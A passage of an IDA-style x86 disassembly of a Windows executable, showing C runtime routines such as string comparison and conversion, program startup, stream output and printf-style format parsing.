		test	eax, eax
		jnz	short loc_417912
		call	dword_421088	; RtlGetLastWin32Error
		jmp	short loc_417914
; ---------------------------------------------------------------------------


loc_417912:				; CODE XREF: sub_4178FC+Cj
		xor	eax, eax


loc_417914:				; CODE XREF: sub_4178FC+14j
		test	eax, eax
		jz	short loc_417923
		push	eax
		call	sub_41C5D7
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_417923:				; CODE XREF: sub_4178FC+1Aj
		xor	eax, eax
		retn
sub_4178FC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417930	proc near		; CODE XREF: sub_412B60+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41797C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41797D
		test	eax, 1
		jz	short loc_41795D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_4179AA
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41797A


loc_41795D:				; CODE XREF: sub_417930+20j
					; sub_417930+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_4179AA
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_4179AA
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41795D


loc_41797A:				; CODE XREF: sub_417930+2Bj
					; sub_417930+84j
		pop	edi
		pop	esi

locret_41797C:				; CODE XREF: sub_417930+6j
		retn
; ---------------------------------------------------------------------------


loc_41797D:				; CODE XREF: sub_417930+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_4179B2
		repe cmpsd
		jz	short loc_4179B2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_4179A5
		cmp	ch, dh
		jnz	short loc_4179A5
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_4179A5
		cmp	ch, dh


loc_4179A5:				; CODE XREF: sub_417930+63j
					; sub_417930+67j ...
		mov	eax, 0


loc_4179AA:				; CODE XREF: sub_417930+26j
					; sub_417930+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4179B2:				; CODE XREF: sub_417930+55j
					; sub_417930+59j
		test	eax, eax
		jz	short loc_41797A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_4179A5
		dec	eax
		jz	short loc_4179D9
		cmp	dh, ch
		jnz	short loc_4179A5
		dec	eax
		jz	short loc_4179D9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_4179A5
		dec	eax


loc_4179D9:				; CODE XREF: sub_417930+8Fj
					; sub_417930+96j
		pop	edi
		pop	esi
		retn
sub_417930	endp


; =============== S U B	R O U T	I N E =======================================



sub_4179DC	proc near		; CODE XREF: sub_413CA9+55p
					; sub_4146BA+236p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_4179F3


loc_4179E9:				; CODE XREF: sub_4179DC+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_4179E9


loc_4179F3:				; CODE XREF: sub_4179DC+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_4179DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4179F9	proc near		; CODE XREF: sub_413CA9+19p
					; sub_413CA9+49p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_417AC6
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_417AF3
		cmp	dword_469528, esi
		jnz	short loc_417A4A
		cmp	edi, esi
		jbe	loc_417AF3


loc_417A29:				; CODE XREF: sub_4179F9+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_417AF3
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_417A29
		jmp	loc_417AF3
; ---------------------------------------------------------------------------


loc_417A4A:				; CODE XREF: sub_4179F9+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_421064
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_469538
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_417AF2
		call	dword_421088	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_417A84


loc_417A75:				; CODE XREF: sub_4179F9+CBj
					; sub_4179F9+F7j
		mov	dword_469494, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_417AF3
; ---------------------------------------------------------------------------


loc_417A84:				; CODE XREF: sub_4179F9+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_417A8C:				; CODE XREF: sub_4179F9+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_417AAE
		mov	edx, off_437D70
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_417AA3
		inc	eax


loc_417AA3:				; CODE XREF: sub_4179F9+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_417A8C


loc_417AAE:				; CODE XREF: sub_4179F9+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_469538
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_417AF3
		jmp	short loc_417A75
; ---------------------------------------------------------------------------


loc_417AC6:				; CODE XREF: sub_4179F9+Fj
		cmp	dword_469528, esi
		jnz	short loc_417AD9
		push	[ebp+arg_4]
		call	sub_415CF0
		pop	ecx
		jmp	short loc_417AF3
; ---------------------------------------------------------------------------


loc_417AD9:				; CODE XREF: sub_4179F9+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_469538
		call	dword_421064	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_417A75


loc_417AF2:				; CODE XREF: sub_4179F9+6Bj
		dec	eax


loc_417AF3:				; CODE XREF: sub_4179F9+1Aj
					; sub_4179F9+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4179F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AF8	proc near		; CODE XREF: start-2C75j

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421678
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		call	dword_42116C	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	dword_4694AC, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	dword_4694A8, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	dword_4694A4, ecx
		shr	eax, 10h
		mov	dword_4694A0, eax
		xor	esi, esi
		push	esi
		call	sub_418A83
		pop	ecx
		test	eax, eax
		jnz	short loc_417B64
		push	1Ch
		call	sub_417C13
		pop	ecx


loc_417B64:				; CODE XREF: sub_417AF8+62j
		mov	[ebp+var_4], esi
		call	sub_41CC52
		call	dword_421168	; GetCommandLineA
		mov	dword_46AB04, eax
		call	sub_41CB20
		mov	dword_4694E0, eax
		call	sub_41C8D3
		call	sub_41C81A
		call	sub_4177FA
		mov	[ebp+var_30], esi
		lea	eax, [ebp+var_5C]
		push	eax
		call	dword_421164	; GetStartupInfoA
		call	sub_41C7C2
		mov	[ebp+var_64], eax
		test	byte ptr [ebp+var_30], 1
		jz	short loc_417BB1
		movzx	eax, [ebp+var_2C]
		jmp	short loc_417BB4
; ---------------------------------------------------------------------------


loc_417BB1:				; CODE XREF: sub_417AF8+B1j
		push	0Ah
		pop	eax


loc_417BB4:				; CODE XREF: sub_417AF8+B7j
		push	eax
		push	[ebp+var_64]
		push	esi
		push	esi
		call	dword_4210C8	; GetModuleHandleA
		push	eax
		call	sub_40C682
		mov	[ebp+var_60], eax
		push	eax
		call	sub_417827
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp+var_68], ecx
		push	eax
		push	ecx
		call	sub_41C63E
		pop	ecx
		pop	ecx
		retn
sub_417AF8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_417838

; =============== S U B	R O U T	I N E =======================================



sub_417BEE	proc near		; CODE XREF: sub_416852+16p
					; sub_41C81A+4Ep ...

arg_0		= dword	ptr  4

		cmp	dword_4694E8, 1
		jnz	short loc_417BFC
		call	sub_41CEE0


loc_417BFC:				; CODE XREF: sub_417BEE+7j
		push	[esp+arg_0]
		call	sub_41CF19
		push	0FFh
		call	off_437D60
		pop	ecx
		pop	ecx
		retn
sub_417BEE	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C13	proc near		; CODE XREF: sub_417AF8+66p

arg_0		= dword	ptr  4

		cmp	dword_4694E8, 1
		jnz	short loc_417C21
		call	sub_41CEE0


loc_417C21:				; CODE XREF: sub_417C13+7j
		push	[esp+arg_0]
		call	sub_41CF19
		pop	ecx
		push	0FFh
		call	dword_421114	; ExitProcess
		retn
sub_417C13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C37	proc near		; CODE XREF: sub_4154E7+46p
					; sub_415A6A+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_417D40
		test	al, 40h
		jnz	loc_417D40
		test	al, 1
		jz	short loc_417C6F
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_417D40
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_417C6F:				; CODE XREF: sub_417C37+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_417CA9
		cmp	esi, offset dword_438488
		jz	short loc_417C97
		cmp	esi, offset dword_4384A8
		jnz	short loc_417CA2


loc_417C97:				; CODE XREF: sub_417C37+56j
		push	ebx
		call	sub_41D0B0
		test	eax, eax
		pop	ecx
		jnz	short loc_417CA9


loc_417CA2:				; CODE XREF: sub_417C37+5Ej
		push	esi
		call	sub_41D06C
		pop	ecx


loc_417CA9:				; CODE XREF: sub_417C37+4Ej
					; sub_417C37+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_417D16
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_417CD9
		push	edi
		push	eax
		push	ebx
		call	sub_41C42A
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_417D0C
; ---------------------------------------------------------------------------


loc_417CD9:				; CODE XREF: sub_417C37+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_417CF4
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_46A7C0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_417CF9
; ---------------------------------------------------------------------------


loc_417CF4:				; CODE XREF: sub_417C37+A5j
		mov	eax, offset dword_4383D0


loc_417CF9:				; CODE XREF: sub_417C37+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_417D0C
		push	2
		push	0
		push	ebx
		call	sub_41BB7F
		add	esp, 0Ch


loc_417D0C:				; CODE XREF: sub_417C37+A0j
					; sub_417C37+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_417D2A
; ---------------------------------------------------------------------------


loc_417D16:				; CODE XREF: sub_417C37+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_41C42A
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_417D2A:				; CODE XREF: sub_417C37+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_417D36
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_417D45
; ---------------------------------------------------------------------------


loc_417D36:				; CODE XREF: sub_417C37+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_417D48
; ---------------------------------------------------------------------------


loc_417D40:				; CODE XREF: sub_417C37+10j
					; sub_417C37+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_417D45:				; CODE XREF: sub_417C37+FDj
		or	eax, 0FFFFFFFFh


loc_417D48:				; CODE XREF: sub_417C37+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_417C37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417D4C	proc near		; CODE XREF: sub_4154E7+29p
					; sub_415A6A+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_418465
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_417D80
; ---------------------------------------------------------------------------


loc_417D78:				; CODE XREF: sub_417D4C+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_417D80:				; CODE XREF: sub_417D4C+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_418465
		cmp	bl, 20h
		jl	short loc_417DA1
		cmp	bl, 78h
		jg	short loc_417DA1
		movsx	eax, bl
		mov	al, [eax+421664h]
		and	eax, 0Fh
		jmp	short loc_417DA3
; ---------------------------------------------------------------------------


loc_417DA1:				; CODE XREF: sub_417D4C+40j
					; sub_417D4C+45j
		xor	eax, eax


loc_417DA3:				; CODE XREF: sub_417D4C+53j
		movsx	eax, byte_421684[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_418454	; default
		jmp	off_41846D[eax*4] ; switch jump


loc_417DC1:				; DATA XREF: .nsp0:off_41846Do
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 00417DBA case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417DDC:				; CODE XREF: sub_417D4C+6Ej
					; DATA XREF: .nsp0:off_41846Do
		movsx	eax, bl		; jumptable 00417DBA case 2
		sub	eax, 20h
		jz	short loc_417E1F
		sub	eax, 3
		jz	short loc_417E16
		sub	eax, 8
		jz	short loc_417E0D
		dec	eax
		dec	eax
		jz	short loc_417E04
		sub	eax, 3
		jnz	loc_418454	; default
		or	[ebp+var_4], 8
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417E04:				; CODE XREF: sub_417D4C+A4j
		or	[ebp+var_4], 4
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417E0D:				; CODE XREF: sub_417D4C+A0j
		or	[ebp+var_4], 1
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417E16:				; CODE XREF: sub_417D4C+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417E1F:				; CODE XREF: sub_417D4C+96j
		or	[ebp+var_4], 2
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417E28:				; CODE XREF: sub_417D4C+6Ej
					; DATA XREF: .nsp0:off_41846Do
		cmp	bl, 2Ah		; jumptable 00417DBA case 3
		jnz	short loc_417E50
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41852B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_418454	; default
		or	[ebp+var_4], 4
		neg	eax


loc_417E48:				; CODE XREF: sub_417D4C+111j
		mov	[ebp+var_20], eax
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417E50:				; CODE XREF: sub_417D4C+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_417E48
; ---------------------------------------------------------------------------


loc_417E5F:				; CODE XREF: sub_417D4C+6Ej
					; DATA XREF: .nsp0:off_41846Do
		mov	[ebp+var_10], edx ; jumptable 00417DBA case 4
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417E67:				; CODE XREF: sub_417D4C+6Ej
					; DATA XREF: .nsp0:off_41846Do
		cmp	bl, 2Ah		; jumptable 00417DBA case 5
		jnz	short loc_417E8A
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41852B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_418454	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417E8A:				; CODE XREF: sub_417D4C+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417E9C:				; CODE XREF: sub_417D4C+6Ej
					; DATA XREF: .nsp0:off_41846Do
		cmp	bl, 49h		; jumptable 00417DBA case 6
		jz	short loc_417ECF
		cmp	bl, 68h
		jz	short loc_417EC6
		cmp	bl, 6Ch
		jz	short loc_417EBD
		cmp	bl, 77h
		jnz	loc_418454	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417EBD:				; CODE XREF: sub_417D4C+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417EC6:				; CODE XREF: sub_417D4C+158j
		or	[ebp+var_4], 20h
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417ECF:				; CODE XREF: sub_417D4C+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_417EE8
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_417EE8
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417EE8:				; CODE XREF: sub_417D4C+186j
					; sub_417D4C+18Cj
		mov	[ebp+var_30], edx


loc_417EEB:				; CODE XREF: sub_417D4C+6Ej
					; DATA XREF: .nsp0:off_41846Do
		mov	ecx, off_437D70	; jumptable 00417DBA case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_417F17
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41848D
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_417F17:				; CODE XREF: sub_417D4C+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41848D
		add	esp, 0Ch
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417F2F:				; CODE XREF: sub_417D4C+6Ej
					; DATA XREF: .nsp0:off_41846Do
		movsx	eax, bl		; jumptable 00417DBA case 7
		cmp	eax, 67h
		jg	loc_418157
		cmp	eax, 65h
		jge	loc_417FDA
		cmp	eax, 58h
		jg	loc_418038
		jz	loc_4181CB
		sub	eax, 43h
		jz	loc_417FFB
		dec	eax
		dec	eax
		jz	short loc_417FD0
		dec	eax
		dec	eax
		jz	short loc_417FD0
		sub	eax, 0Ch
		jnz	loc_418356
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_417F79
		or	byte ptr [ebp+var_4+1],	8


loc_417F79:				; CODE XREF: sub_417D4C+227j
					; sub_417D4C+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_417F86
		mov	esi, 7FFFFFFFh


loc_417F86:				; CODE XREF: sub_417D4C+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41852B
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41819F
		test	ecx, ecx
		jnz	short loc_417FAE
		mov	ecx, off_437D6C
		mov	[ebp+var_8], ecx


loc_417FAE:				; CODE XREF: sub_417D4C+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_417FB7:				; CODE XREF: sub_417D4C+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_418196
		cmp	word ptr [eax],	0
		jz	loc_418196
		inc	eax
		inc	eax
		jmp	short loc_417FB7
; ---------------------------------------------------------------------------


loc_417FD0:				; CODE XREF: sub_417D4C+212j
					; sub_417D4C+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_417FDA:				; CODE XREF: sub_417D4C+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_4180BE
		mov	[ebp+var_10], 6
		jmp	loc_4180CC
; ---------------------------------------------------------------------------


loc_417FFB:				; CODE XREF: sub_417D4C+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_418007
		or	byte ptr [ebp+var_4+1],	8


loc_418007:				; CODE XREF: sub_417D4C+2B5j
					; sub_417D4C+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41804E
		call	sub_418548
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41D18F
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_418061
		mov	[ebp+var_28], 1
		jmp	short loc_418061
; ---------------------------------------------------------------------------


loc_418038:				; CODE XREF: sub_417D4C+1FBj
		sub	eax, 5Ah
		jz	short loc_41806F
		sub	eax, 9
		jz	short loc_418007
		dec	eax
		jz	loc_418231
		jmp	loc_418356
; ---------------------------------------------------------------------------


loc_41804E:				; CODE XREF: sub_417D4C+2C5j
		call	sub_41852B
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_418061:				; CODE XREF: sub_417D4C+2E1j
					; sub_417D4C+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_418356
; ---------------------------------------------------------------------------


loc_41806F:				; CODE XREF: sub_417D4C+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41852B
		test	eax, eax
		pop	ecx
		jz	short loc_4180B0
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_4180B0
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_4180A1
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_418356
; ---------------------------------------------------------------------------


loc_4180A1:				; CODE XREF: sub_417D4C+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_418353
; ---------------------------------------------------------------------------


loc_4180B0:				; CODE XREF: sub_417D4C+32Fj
					; sub_417D4C+336j
		mov	eax, off_437D68
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41814C
; ---------------------------------------------------------------------------


loc_4180BE:				; CODE XREF: sub_417D4C+29Dj
		jnz	short loc_4180CC
		cmp	bl, 67h
		jnz	short loc_4180CC
		mov	[ebp+var_10], 1


loc_4180CC:				; CODE XREF: sub_417D4C+2AAj
					; sub_417D4C:loc_4180BEj ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_4380A8
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41811E
		cmp	[ebp+var_10], 0
		jnz	short loc_41811E
		lea	eax, [ebp+var_248]
		push	eax
		call	off_4380B4
		pop	ecx


loc_41811E:				; CODE XREF: sub_417D4C+3BCj
					; sub_417D4C+3C2j
		cmp	bl, 67h
		jnz	short loc_418135
		test	esi, esi
		jnz	short loc_418135
		lea	eax, [ebp+var_248]
		push	eax
		call	off_4380AC
		pop	ecx


loc_418135:				; CODE XREF: sub_417D4C+3D5j
					; sub_417D4C+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41814B
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41814B:				; CODE XREF: sub_417D4C+3F0j
		push	edi


loc_41814C:				; CODE XREF: sub_417D4C+36Dj
		call	sub_415CF0
		pop	ecx
		jmp	loc_418353
; ---------------------------------------------------------------------------


loc_418157:				; CODE XREF: sub_417D4C+1E9j
		sub	eax, 69h
		jz	loc_418231
		sub	eax, 5
		jz	loc_418207
		dec	eax
		jz	loc_4181F4
		dec	eax
		jz	short loc_4181C4
		sub	eax, 3
		jz	loc_417F79
		dec	eax
		dec	eax
		jz	loc_418235
		sub	eax, 3
		jnz	loc_418356
		mov	[ebp+var_2C], 27h
		jmp	short loc_4181D2
; ---------------------------------------------------------------------------


loc_418196:				; CODE XREF: sub_417D4C+270j
					; sub_417D4C+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_418353
; ---------------------------------------------------------------------------


loc_41819F:				; CODE XREF: sub_417D4C+24Fj
		test	ecx, ecx
		jnz	short loc_4181AC
		mov	ecx, off_437D68
		mov	[ebp+var_8], ecx


loc_4181AC:				; CODE XREF: sub_417D4C+455j
		mov	eax, ecx


loc_4181AE:				; CODE XREF: sub_417D4C+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_4181BD
		cmp	byte ptr [eax],	0
		jz	short loc_4181BD
		inc	eax
		jmp	short loc_4181AE
; ---------------------------------------------------------------------------


loc_4181BD:				; CODE XREF: sub_417D4C+467j
					; sub_417D4C+46Cj
		sub	eax, ecx
		jmp	loc_418353
; ---------------------------------------------------------------------------


loc_4181C4:				; CODE XREF: sub_417D4C+425j
		mov	[ebp+var_10], 8


loc_4181CB:				; CODE XREF: sub_417D4C+201j
		mov	[ebp+var_2C], 7


loc_4181D2:				; CODE XREF: sub_417D4C+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41823C
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41823C
; ---------------------------------------------------------------------------


loc_4181F4:				; CODE XREF: sub_417D4C+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41823C
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41823C
; ---------------------------------------------------------------------------


loc_418207:				; CODE XREF: sub_417D4C+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41852B
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_418220
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_418225
; ---------------------------------------------------------------------------


loc_418220:				; CODE XREF: sub_417D4C+4C9j
		mov	ecx, [ebp+var_14]
